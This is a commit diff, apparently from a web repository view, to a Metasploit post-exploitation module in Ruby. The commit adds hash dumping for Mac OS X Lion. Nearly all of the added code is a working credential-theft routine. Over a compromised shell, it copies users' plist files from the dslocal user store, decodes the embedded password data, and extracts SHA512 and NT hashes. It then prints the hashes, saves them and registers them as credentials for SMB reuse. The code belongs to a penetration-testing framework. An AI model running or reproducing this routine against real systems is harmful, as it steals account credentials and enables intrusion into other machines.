Support for dumping OSX Lion SHA512 Salted hashes, thanks to hammackj for helping in figuring out how to parse the new format
git-svn-id: file:///home/svn/framework3/trunk@13111 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
78f2525fdc
commit
b8a232eaf5
|
@ -28,7 +28,7 @@ class Metasploit3 < Msf::Post
|
||||||
This module dumps SHA1, LM and NT Hashes of Mac OS X Tiger, Leopard and Snow Leopard Systems.
|
This module dumps SHA1, LM and NT Hashes of Mac OS X Tiger, Leopard and Snow Leopard Systems.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>','hammackj <jacob.hammack[at]hammackj.com>'],
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'Platform' => [ 'osx' ],
|
'Platform' => [ 'osx' ],
|
||||||
'SessionTypes' => [ "shell" ]
|
'SessionTypes' => [ "shell" ]
|
||||||
|
@ -151,6 +151,54 @@ class Metasploit3 < Msf::Post
|
||||||
when /shell/
|
when /shell/
|
||||||
guid = session.shell_command_token("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
|
guid = session.shell_command_token("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
|
||||||
end
|
end
|
||||||
|
elsif ver_num =~ /10\.(7)/
|
||||||
|
require 'rexml/document'
|
||||||
|
hash_decoded = ""
|
||||||
|
profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n")
|
||||||
|
if profiles
|
||||||
|
profiles.each do |p|
|
||||||
|
next if p =~ /^_/
|
||||||
|
next if p =~ /^daemon|root|nobody/
|
||||||
|
cmd_exec("cp /private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
|
||||||
|
cmd_exec("plutil -convert xml1 /tmp/#{p.chomp}")
|
||||||
|
file = cmd_exec("cat /tmp/#{p.chomp}")
|
||||||
|
doc = REXML::Document.new(file)
|
||||||
|
hash_text = doc.elements.to_a("///array")[2].elements["data"].text.gsub("\n\t\t","")
|
||||||
|
hash_text.unpack('m')[0].each_byte do |b|
|
||||||
|
hash_decoded << sprintf("%02X", b)
|
||||||
|
end
|
||||||
|
user = p.scan(/(\S*)\.plist/)
|
||||||
|
sha512 = hash_decoded.slice(104..213)
|
||||||
|
nt_hash = hash_decoded.slice(214..249)
|
||||||
|
|
||||||
|
print_status("SHA512:#{user}:#{sha512}")
|
||||||
|
file_local_write(sha1_file,"#{user}:#{sha512}")
|
||||||
|
report_auth_info(
|
||||||
|
:host => host,
|
||||||
|
:port => 0,
|
||||||
|
:sname => 'sha512',
|
||||||
|
:user => user,
|
||||||
|
:pass => sha512,
|
||||||
|
:active => false
|
||||||
|
)
|
||||||
|
|
||||||
|
if nt_hash !~ /000000000000000/
|
||||||
|
print_status("NT:#{user}:#{nt_hash}")
|
||||||
|
file_local_write(nt_file,"#{user}:#{nt_hash}")
|
||||||
|
report_auth_info(
|
||||||
|
:host => host,
|
||||||
|
:port => 445,
|
||||||
|
:sname => 'smb',
|
||||||
|
:user => user,
|
||||||
|
:pass => nt_hash,
|
||||||
|
:active => true
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Extract the hashes
|
# Extract the hashes
|
||||||
|
|
Loading…
Reference in New Issue